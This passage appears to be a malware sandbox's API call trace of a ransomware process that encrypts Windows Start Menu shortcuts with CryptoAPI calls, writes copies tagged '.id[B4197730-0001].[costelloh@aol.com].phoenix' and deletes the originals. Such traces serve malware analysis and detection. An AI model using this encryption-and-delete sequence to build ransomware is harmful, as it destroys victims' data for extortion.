	[0267.617] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x8f0, dwBufLen=0x8f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x8f0) returned 1
	[0267.617] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x8f0, lpOverlapped=0x0) returned 1
	[0267.618] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0267.618] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.618] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0267.618] CryptDestroyKey (hKey=0x151600) returned 1
	[0267.618] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x122, lpOverlapped=0x0) returned 1
	[0267.618] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0267.618] CloseHandle (hObject=0x2c4) returned 1
	[0267.618] CloseHandle (hObject=0x244) returned 1
	[0267.618] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk")) returned 1
	[0267.627] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.647] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2465) returned 1
	[0267.647] CloseHandle (hObject=0x254) returned 1
	[0267.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk")) returned 0x20
	[0267.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.648] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.648] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.648] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.648] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0267.658] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.658] ReadFile (in: hFile=0x254, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x9a1, lpOverlapped=0x0) returned 1
	[0267.703] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9b0) returned 1
	[0267.703] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x9b0, lpOverlapped=0x0) returned 1
	[0267.704] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0267.704] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.704] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0267.704] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0267.704] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0267.704] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.704] CloseHandle (hObject=0x254) returned 1
	[0267.704] CloseHandle (hObject=0x2e4) returned 1
	[0267.704] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk")) returned 1
	[0267.705] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.705] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.710] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2582) returned 1
	[0267.710] CloseHandle (hObject=0x2c4) returned 1
	[0267.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk")) returned 0x20
	[0267.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.710] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.710] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.710] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.710] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.711] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0267.711] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.711] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xa16, lpOverlapped=0x0) returned 1
	[0267.718] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa20, dwBufLen=0xa20 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa20) returned 1
	[0267.718] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xa20, lpOverlapped=0x0) returned 1
	[0267.720] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0267.720] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.720] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0267.720] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.720] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x122, lpOverlapped=0x0) returned 1
	[0267.720] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.720] CloseHandle (hObject=0x2c4) returned 1
	[0267.720] CloseHandle (hObject=0x2c0) returned 1
	[0267.720] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk")) returned 1
	[0267.721] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.721] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.739] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1011) returned 1
	[0267.739] CloseHandle (hObject=0x308) returned 1
	[0267.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk")) returned 0x20
	[0267.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.740] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.740] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.740] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.740] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.741] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0267.741] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.741] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x3f3, lpOverlapped=0x0) returned 1
	[0267.780] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x400, dwBufLen=0x400 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x400) returned 1
	[0267.780] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x400, lpOverlapped=0x0) returned 1
	[0267.781] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0267.781] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.781] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0267.781] CryptDestroyKey (hKey=0x151600) returned 1
	[0267.781] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0267.781] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0267.781] CloseHandle (hObject=0x308) returned 1
	[0267.781] CloseHandle (hObject=0x2b0) returned 1
	[0267.781] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk")) returned 1
	[0267.782] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.783] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2399) returned 1
	[0267.783] CloseHandle (hObject=0x2b0) returned 1
	[0267.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk")) returned 0x20
	[0267.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.783] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.783] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.783] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.783] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.784] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0267.784] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.784] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x95f, lpOverlapped=0x0) returned 1
	[0267.799] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x960, dwBufLen=0x960 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x960) returned 1
	[0267.800] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x960, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x960, lpOverlapped=0x0) returned 1
	[0267.800] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0267.800] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.800] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0267.800] CryptDestroyKey (hKey=0x151600) returned 1
	[0267.800] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0267.801] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0267.801] CloseHandle (hObject=0x2b0) returned 1
	[0267.801] CloseHandle (hObject=0x308) returned 1
	[0267.801] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk")) returned 1
	[0267.958] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0267.958] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2462) returned 1
	[0267.958] CloseHandle (hObject=0x304) returned 1
	[0267.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk")) returned 0x20
	[0267.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0267.959] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.959] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0267.959] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.959] ReadFile (in: hFile=0x304, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x99e, lpOverlapped=0x0) returned 1
	[0268.016] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9a0) returned 1
	[0268.016] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x9a0, lpOverlapped=0x0) returned 1
	[0268.016] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0268.016] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0268.016] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0268.017] CryptDestroyKey (hKey=0x151380) returned 1
	[0268.017] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0268.017] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0268.017] CloseHandle (hObject=0x304) returned 1
	[0268.017] CloseHandle (hObject=0x254) returned 1
